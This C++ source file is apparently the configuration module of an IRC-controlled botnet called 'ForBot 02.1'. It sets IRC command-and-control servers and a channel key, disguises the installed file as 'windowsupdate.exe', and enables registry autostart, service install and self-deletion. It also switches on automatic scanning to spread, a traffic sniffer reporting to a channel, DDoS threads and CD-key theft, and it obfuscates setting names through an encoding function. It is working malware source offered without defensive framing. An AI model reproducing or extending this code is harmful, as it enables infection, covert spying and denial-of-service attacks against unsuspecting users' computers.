#include "main.h"
#include "bot.h"
#include "mainctrl.h"

char *g_szSectionName=dp(78,14,5,20,0).Str();

void CBot::Config(){
	int bb;

	CString sErver,pOrt,sErver2,pOrt2,cHan,kEyy,fIle,iDen, oNf,hEad, aZzs,iPv1,iPv2,lN,lM,lH,lI,timeOut,sniFF;
	sErver="server.ircd.net"; // Server
	pOrt=6667; // Server Port
	sErver2="server2.ircd.net"; // Backup Serevr
	pOrt2 = 7000; // Backup Server Port
	cHan = "#mychan"; // Channel Name
	kEyy = "knockknock"; // Channel Key
	fIle = "windowsupdate.exe"; //Filename
	iDen = "Build ID";
	hEad= "[fro]"; // Bot Header
	sniFF="#mychan#sniff"; // Sniffer output channel
	lN="admin"; //Login Name
	lI="root"; //Login IDENTd Mask, NOTE: HAS TO BE EACT (NO WILDCARDS)
	lM="5F4DCC3B5AA765D61D8327DEB882CF99"; //Login MD5 Hash
	lH="fbi.gov"; // Login host mask NOTE: HAS TO BE EXACT (NO WILDCARDS)
	iPv1="FroBot"; // Registery Key Startup Name
	aZzs="[end]"; //BOT END aka [header]nick[end], replace with "" if you don't want it
	timeOut = 200000; // Bot timeout

	// Ignore Bottom
	oNf = dp(69,68,68,68,0); // 1000

	// Parsing Work
CString trUe=dp(20,18,21,5,0);
CString faLse=dp(6,1,12,19,5,0);

	// The root server, this will be the most often used one
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_chanpass,	dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,3,8,1,14,16,1,19,19,0).CStr(),	 	kEyy.CStr(),	NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_mainchan,	dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,13,1,9,14,3,8,1,14,0).CStr(),			cHan.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_port,		dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,16,15,18,20,0).CStr(),				pOrt.CStr(),	NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_server,		dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,19,5,18,22,5,18,0).CStr(),			sErver.CStr(),	NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_nickprefix,	dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,14,9,3,11,16,18,5,6,9,24,0).CStr(),	hEad.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_nickend,	dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,14,9,3,11,5,14,4,0).CStr(),			aZzs.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_servpass,	dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,19,5,18,22,16,1,19,19,0).CStr(),					"",NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_usessl,		dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,21,19,5,63,19,19,12,0).CStr(),		faLse.CStr(),	NULL,false,false,0);
	g_cMainCtrl.m_cIRC.m_vServers.push_back(&m_isServerRoot);


	// The root server, this will be the most often used one
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_chanpass,	dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,3,8,1,14,16,1,19,19,0).CStr(),	 	kEyy.CStr(),	NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_mainchan,	dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,13,1,9,14,3,8,1,14,0).CStr(),			cHan.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_port,		dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,16,15,18,20,0).CStr(),				pOrt2.CStr(),	NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_server,		dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,19,5,18,22,5,18,0).CStr(),			sErver2.CStr(),	NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_nickprefix,	dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,14,9,3,11,16,18,5,6,9,24,0).CStr(),	hEad.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_nickend,	dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,14,9,3,11,5,14,4,0).CStr(),			aZzs.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_servpass,	dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,19,5,18,22,16,1,19,19,0).CStr(),					"",NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_usessl,		dp(19,9,63,19,5,18,22,5,18,63,18,15,15,20,78,21,19,5,63,19,19,12,0).CStr(),		faLse.CStr(),	NULL,false,false,0);
	g_cMainCtrl.m_cIRC.m_vServers.push_back(&m_isServer0);

	g_cMainCtrl.m_cCVar.RegisterCvar(&si_nick,			dp(19,9,63,14,9,3,11,0).CStr()						,"",NULL,false,false,0);
CString Loller;
//Loller="--------------------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n";
		g_cMainCtrl.m_sNameVerStr.Format("ForBot 02.1 //AfroNerd");
//		Loller="\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--------------------";
	g_cMainCtrl.m_cCVar.RegisterCvar(&bot_version,		dp(2,15,20,63,22,5,18,19,9,15,14,0).CStr()			,g_cMainCtrl.m_sNameVerStr.CStr(),NULL,false,false,0);

	g_cMainCtrl.m_cCVar.RegisterCvar(&bot_filename,		dp(2,15,20,63,6,9,12,5,14,1,13,5,0).CStr()			,fIle.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&bot_id,			dp(2,15,20,63,9,4,0).CStr()						,iDen.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&bot_prefix,		dp(2,15,20,63,16,18,5,6,9,24,0).CStr()				,dp(78,0).CStr(),NULL,false,false,0);
	CString sTemp; sTemp.Format("%d", brandom(1337, 22226));
	g_cMainCtrl.m_cCVar.RegisterCvar(&bot_ftrans_port,	dp(2,15,20,63,6,20,18,1,14,19,63,16,15,18,20,0).CStr(),sTemp.CStr(),NULL,false,false,0);
	
	CString b;do{b.Format("%d",brandom(1337, 22226));}while(b.CStr()==sTemp.CStr());

	g_cMainCtrl.m_cCVar.RegisterCvar(&bot_ftrans_port_ftp,	dp(2,15,20,63,6,20,18,1,14,19,63,16,15,18,20,63,6,20,16,0).CStr(),b.CStr(),	NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&bot_timeout,		dp(2,15,20,63,20,9,13,5,15,21,20,0).CStr()			,timeOut.CStr(),	NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&bot_seclogin,		dp(2,15,20,63,19,5,3,12,15,7,9,14,0).CStr()		,faLse.CStr(),			NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&bot_compnick,		dp(2,15,20,63,3,15,13,16,14,9,3,11,0).CStr()		,faLse.CStr(),		NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&bot_meltserver,	dp(2,15,20,63,13,5,12,20,19,5,18,22,5,18,0).CStr()	,trUe.CStr(),		NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&bot_topiccmd,		dp(2,15,20,63,20,15,16,9,3,3,13,4,0).CStr()		,trUe.CStr(),			NULL,false,false,0);
	
	g_cMainCtrl.m_cCVar.RegisterCvar(&as_valname,		dp(1,19,63,22,1,12,14,1,13,5,0).CStr()				,iPv1.CStr(),		NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&as_enabled,		dp(1,19,63,5,14,1,2,12,5,4,0).CStr()				,trUe.CStr(),		NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&csendfile_show,	dp(3,19,5,14,4,6,9,12,5,63,19,8,15,23,0).CStr()	,trUe.CStr(),			NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&as_service,		dp(1,19,63,19,5,18,22,9,3,5,0).CStr()				,trUe.CStr(),		NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&as_service_name,	dp(1,19,63,19,5,18,22,9,3,5,63,14,1,13,5,0).CStr()	,iPv2.CStr(),		NULL,false,false,0);

	
	g_cMainCtrl.m_cCVar.RegisterCvar(&scan_maxthreads,	dp(19,3,1,14,63,13,1,24,20,8,18,5,1,4,19,0).CStr()	,oNf.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&scan_auto,		dp(19,3,1,14,63,1,21,20,15,0).CStr()				,trUe.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&scan_stfu,		dp(19,3,1,14,63,19,20,6,21,0).CStr()				,trUe.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&scan_auto_nb,		dp(19,3,1,14,63,1,21,20,15,63,14,2,0).CStr()		,trUe.CStr(),NULL,false,false,0);
	
	g_cMainCtrl.m_cCVar.RegisterCvar(&sniffer_enabled,		dp(19,14,9,6,6,5,18,63,5,14,1,2,12,5,4,0).CStr()			,trUe.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&speedtest_enabled,	dp(19,16,5,5,4,20,5,19,20,63,5,14,1,2,12,5,4,0).CStr()		,trUe.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&secure_enabled,		dp(19,5,3,21,18,5,63,5,14,1,2,12,5,4,0).CStr()				,trUe.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&sniffer_channel,		dp(19,14,9,6,6,5,18,63,3,8,1,14,14,5,12,0).CStr()			,sniFF.CStr(),NULL,false,false,0);

	g_cMainCtrl.m_cCVar.RegisterCvar(&ddos_maxthreads,	dp(4,4,15,19,63,13,1,24,20,8,18,5,1,4,19,0).CStr()		,oNf.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&redir_maxthreads,	dp(18,5,4,9,18,63,13,1,24,20,8,18,5,1,4,19,0).CStr()	,oNf.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&identd_enabled,	dp(9,4,5,14,20,4,63,5,14,1,2,12,5,4,0).CStr()			,faLse.CStr(),NULL,false,false,0);
	g_cMainCtrl.m_cCVar.RegisterCvar(&cdkey_windows,	dp(3,4,11,5,25,63,23,9,14,4,15,23,19,0).CStr()			,faLse.CStr(),NULL,false,false,0);
	

	g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_chanpass, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_chanpass.sValue.CStr());
	g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_mainchan, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_mainchan.sValue.CStr());
	g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_nickprefix, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_nickprefix.sValue.CStr());
	g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_nickend, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_nickend.sValue.CStr());
	g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_port, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_port.sValue.CStr());
	g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_server, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_server.sValue.CStr());
	g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_servpass, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_servpass.sValue.CStr());
	g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_usessl, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_usessl.sValue.CStr());


	// Use MD5 Passwords, for security reasons, has to be uppercase
	g_cMainCtrl.m_cMac.AddUser(lN.CStr(),lM.CStr(),lH.CStr(),lI.CStr());

}

#ifdef WIN32

#pragma warning(disable:4068)
//#pragma warning(disable:4089)
//#pragma data_seg(SECTION_NAME)
//__declspec(allocate(SECTION_NAME)) char szBuf[16384];

#endif // WIN32
